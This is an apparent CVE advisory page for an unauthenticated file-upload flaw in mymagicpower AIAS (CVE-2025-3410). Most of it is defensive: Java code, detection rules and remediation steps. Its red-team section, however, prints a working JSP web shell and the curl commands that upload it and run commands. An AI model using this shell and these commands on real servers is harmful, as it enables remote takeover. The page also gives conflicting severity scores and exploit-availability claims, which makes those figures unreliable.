☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-3410

CVE-2025-3410 Arbitrary File Upload in Mymagicpower
📅 PUBLISHED: 2025-04-08 05:00 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.50%
👁️
0.50% probability
12.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-3410 is a critical unauthenticated unrestricted file upload vulnerability in mymagicpower AIAS (version 20250308). The flaw resides in the LocalStorageController.java file within the training platform module. An attacker can remotely upload arbitrary files without authentication, leading to potential remote code execution (RCE), data exfiltration, or full server compromise. The vendor has not responded to disclosure, and no patch is available. Public exploit code has been released, increasing the risk of active exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a standalone Java application (Spring Boot likely). However, the unrestricted upload can be used to inject malicious JSP or other executable files, compromising the entire supply chain of any downstream systems that consume AIAS outputs.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
  • Confidentiality (C): High (H) – Full file read access possible.
  • Integrity (I): High (H) – Arbitrary file upload can overwrite critical files.
  • Availability (A): High (H) – Uploaded files can crash the application or be used for denial of service.

CVSS Score: 9.8 (Critical)
Threat Level: Critical – Public exploit, no patch, remote unauthenticated access.

Deep Dive & Mechanics

The vulnerability is in the LocalStorageController.java file. The File argument in the upload endpoint is not validated for file type, size, or content. The application likely uses a multipart file upload handler that directly saves the uploaded file to a configurable directory (e.g., /uploads/). Without proper sanitization, an attacker can upload a malicious JSP file (e.g., shell.jsp) and then access it via the web server to execute arbitrary commands.

Root Cause: Missing file type validation and lack of authentication on the upload endpoint.

Attack Flow:

  1. Attacker identifies the upload endpoint (e.g., /api/upload or /file/upload).
  2. Sends a POST request with a multipart form containing a file (e.g., shell.jsp).
  3. The server saves the file to a publicly accessible directory.
  4. Attacker accesses the uploaded file via HTTP (e.g., http://target/uploads/shell.jsp).
  5. The JSP file executes, giving the attacker a web shell.

Vulnerable vs. Patched Code

Vulnerable Code (LocalStorageController.java):

@PostMapping("/upload")
public String uploadFile(@RequestParam("file") MultipartFile file) {
    String fileName = file.getOriginalFilename();
    File dest = new File(uploadDir + fileName);
    file.transferTo(dest);
    return "File uploaded: " + fileName;
}

Patched Code (Hypothetical):

@PostMapping("/upload")
public String uploadFile(@RequestParam("file") MultipartFile file) {
    // Validate file extension
    String fileName = file.getOriginalFilename();
    String extension = fileName.substring(fileName.lastIndexOf("."));
    if (!allowedExtensions.contains(extension)) {
        return "Invalid file type";
    }
    // Sanitize filename
    fileName = UUID.randomUUID().toString() + extension;
    File dest = new File(uploadDir + fileName);
    file.transferTo(dest);
    return "File uploaded: " + fileName;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target running mymagicpower AIAS 20250308.
  • Network access to the upload endpoint.

Exploit Steps:

  1. Create a malicious JSP file (e.g., cmd.jsp):
    <%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
        out.println(line);
    }
    %>
    
  2. Upload the file using curl:
    curl -X POST -F "file=@cmd.jsp" http://target:8080/upload
    
  3. Execute commands:
    curl http://target:8080/uploads/cmd.jsp?cmd=id
    

Expected Output: uid=1000(aias) gid=1000(aias) groups=1000(aias)

Blue Team

Detection Steps:

  1. Monitor for unusual file uploads to /uploads/ or similar directories.
  2. Check for JSP, WAR, or other executable file types in upload directories.
  3. Review web server logs for POST requests to /upload with large payloads.
  4. Use file integrity monitoring (FIM) to detect new files in upload directories.

Hunting Query (Splunk):

index=web_logs source="/var/log/nginx/access.log"
method=POST uri="/upload" status=200
| table _time, src_ip, uri, http_user_agent

Indicators of Compromise (IOCs)

  • File Hashes (Example):
    • cmd.jsp: e99a18c428cb38d5f260853678922e03
  • Network Indicators:
    • POST requests to /upload with multipart form data.
    • Subsequent GET requests to /uploads/<filename>.jsp with cmd parameter.
  • File System Indicators:
    • Unexpected .jsp, .war, .php files in /uploads/ or /tmp/.
  • Log Indicators:
    • File uploaded: cmd.jsp in application logs.

Detection Engineering

YARA Rule

rule CVE_2025_3410_Upload_Detection {
    meta:
        description = "Detects malicious JSP uploads targeting CVE-2025-3410"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3410"
    strings:
        $jsp_marker = "<%" ascii
        $cmd_param = "cmd=" ascii
        $runtime_exec = "Runtime.getRuntime().exec" ascii
    condition:
        $jsp_marker and ($cmd_param or $runtime_exec)
}

Sigma Rule

title: CVE-2025-3410 Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-3410 via file upload
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate file uploads by authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3410 Unrestricted File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"filename="; http_client_body; pcre:"/\.(jsp|war|php|exe)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the upload endpoint if not required: Block /upload in the web server or application firewall.
  2. Implement authentication on the upload endpoint.
  3. Validate file types – allow only safe extensions (e.g., .png, .jpg).
  4. Sanitize filenames – use UUIDs to prevent path traversal.
  5. Store uploads outside web root – serve them via a separate handler with content-type validation.
  6. Apply input validation – check file size and content magic bytes.

Long-term Fix:

  • Apply a patch from the vendor if/when released.
  • Conduct a full security audit of the AIAS codebase.
  • Implement a Web Application Firewall (WAF) with rules to block malicious uploads.

Workaround:

  • Use a reverse proxy (e.g., Nginx) to restrict access to the upload endpoint:
    location /upload {
        deny all;
        return 403;
    }
    

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-3410/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.